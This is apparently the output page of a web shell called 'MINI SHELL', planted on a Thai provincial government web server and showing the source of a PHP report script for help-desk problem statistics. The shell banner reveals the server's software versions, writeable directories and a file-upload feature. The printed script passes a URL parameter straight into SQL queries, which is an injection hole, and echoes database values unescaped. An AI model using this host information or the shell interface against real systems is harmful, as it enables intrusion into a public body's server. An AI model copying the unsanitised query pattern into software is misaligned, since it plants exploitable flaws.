MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_vc/report/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_vc/report/report_graph_a6.php
<?
#			session_start();
//			error_reporting(0);
include ("../../../config/conndb_obec.inc.php")  ;
include ("graph.inc.php")  ;
include ("./function.php")  ;



$prov_id = $_GET['s'];

# หาชื่อหมวด
$sql = "
SELECT
eduarea.secname
FROM
eduarea
WHERE
eduarea.secid =  '%s'
LIMIT 1
";
$sql =  sprintf($sql, $prov_id);
$res = mysql_query($sql);
$o = mysql_fetch_object($res);

$subject = $o->secname;


?>
<HTML>
<HEAD>
<TITLE>จำนวนปัญหาที่รับแจ้งจำแนกตาม ส.พ.ท. : <?=$subject;?></TITLE>
<META content="text/html; charset=windows-874" http-equiv=Content-Type>
<LINK href="../style.css" rel=stylesheet type="text/css">
<script src="../../../common/javaopenwin.js" type="text/javascript" language="javascript"> </script>
<script src="../js/daily_popcalendar.js" type="text/javascript" language="javascript"> </script>
<head>
<BODY>
<form name="form1" method="post" action="">
<table width="100%" border="0" cellspacing="0" cellpadding="2">
  <tr>
    <td class="fill_bg_add_new2" style="padding-top:15px">
        <table width="100%" border=0>
          <tr valign=top> 
            <td width="5%" valign="middle" class="report_graph_header"><a href="report_graph_b2.php"><img src="../../../images_sys/back.jpg" alt="สถิติปัญหาจำแนกรายหน่วยงาน" width="20" height="20" border="0" ></a></td>
            <td width="95%" valign="middle" class="report_graph_header">จำนวนปัญหาที่รับแจ้งจำแนกตาม 
              ส.พ.ท.<br>
            <?=$subject;?></td>
          </tr>
          <tr valign=top> 
            <td colspan="2" align="center"> 
              <table width="100%" border="0" cellspacing="1" cellpadding="2" bgcolor="#aaaaaa">
                <tr align="center" bgcolor="#CCCCCC"> 
                  <td width="8%"><b>ลำดับที่</b></td>
                  <td><b>หมวดปัญหา</b></td>
                  <td width="4%"><b>ม.ค.</b></td>
                  <td width="4%"><b>ก.พ.</b></td>
                  <td width="4%"><b>มี.ค.</b></td>
                  <td width="5%"><b>เม.ย.</b></td>
                  <td width="4%"><b>พ.ค.</b></td>
                  <td width="4%"><b>มิ.ย.</b></td>
                  <td width="4%"><b>ก.ค.</b></td>
                  <td width="4%"><b>ส.ค.</b></td>
                  <td width="4%"><b>ก.ย.</b></td>
                  <td width="4%"><b>ต.ค.</b></td>
                  <td width="4%"><b>พ.ย.</b></td>
                  <td width="4%"><b>ธ.ค.</b></td>
                </tr>
<?php
# หาจำนวนปัญหาในหมวดปัญหาต่างๆ
$sql = "
SELECT
Count(callcenter.ticket_id) AS count_ticket,
callcenter.prov_id,
substring(callcenter.date_create,6,2) AS rec_month,
problem_type.typename,
problem_type.id 
FROM
callcenter
Left Join callcenter_ptype ON callcenter.ticket_id = callcenter_ptype.ticketid
Left Join eduarea ON callcenter.prov_id = eduarea.secid
Left Join problem_type ON callcenter_ptype.typeid = problem_type.id
WHERE
callcenter.prov_id =  '%s'
GROUP BY
problem_type.id,
rec_month
";
$sql = sprintf($sql, $prov_id);

$res = mysql_query($sql);
while($a=mysql_fetch_array($res)){
   $arr[$a['id']]['id'] = $a['id'];
   $arr[$a['id']]['prov_id'] = $a['prov_id'];
   $arr[$a['id']]['typename'] = $a['typename'];
   $arr[$a['id']][$a['rec_month']] = $a['count_ticket'];

   if( $a['id'] == "" || is_null($a['id'] )) $arr[$a['id']]['typename'] = "ไม่ระบุ";
} # end while

$num = 0;
if ( count($arr) != 0 ){
    foreach($arr as $b){
        #if($b['id'] != "" ) {
            $bg_color = ($num%2)?'#F1F1F1':'FFFFFF';$num++;
            for($i=1;$i<=12;$i++){
                $var = "m".$i;
                $$var = $b[sprintf("%02d",$i)];
            } # for($i=1;$i<=12;$i++)
?>
                <tr bgcolor="<?=$bg_color;?>"> 
                  <td align="center"><?=$num;?>.</td>
                  <td><?=$b['typename'];?></td>
                  <td align="center"><?=$m1;?></td>
                  <td align="center"><?=$m2;?></td>
                  <td align="center"><?=$m3;?></td>
                  <td align="center"><?=$m4;?></td>
                  <td align="center"><?=$m5;?></td>
                  <td align="center"><?=$m6;?></td>
                  <td align="center"><?=$m7;?></td>
                  <td align="center"><?=$m8;?></td>
                  <td align="center"><?=$m9;?></td>
                  <td align="center"><?=$m10;?></td>
                  <td align="center"><?=$m11;?></td>
                  <td align="center"><?=$m12;?></td>
                </tr>
<?php
        #} # if ($b['id'] != "")
        for($i=1;$i<=12;$i++){
            $var = 'total_m'.$i;
            $var_m = 'm'.$i;
            $$var += $$var_m;
        }
    }# foreach($arr as $b)
    
} # if ( count($arr) != 0 )

?>

                <tr bgcolor="#CACACA"> 
                  <td>&nbsp;</td>
                  <td>รวม</td>
                  <td align="center"><?=$total_m1;?></td>
                  <td align="center"><?=$total_m2;?></td>
                  <td align="center"><?=$total_m3;?></td>
                  <td align="center"><?=$total_m4;?></td>
                  <td align="center"><?=$total_m5;?></td>
                  <td align="center"><?=$total_m6;?></td>
                  <td align="center"><?=$total_m7;?></td>
                  <td align="center"><?=$total_m8;?></td>
                  <td align="center"><?=$total_m9;?></td>
                  <td align="center"><?=$total_m10;?></td>
                  <td align="center"><?=$total_m11;?></td>
                  <td align="center"><?=$total_m12;?></td>
                </tr>
              </table>            </td>
          </tr>
        </table>
      </td>
  </tr>
</table>
<BR>
</form>
</BODY>
</HTML>

Anon7 - 2021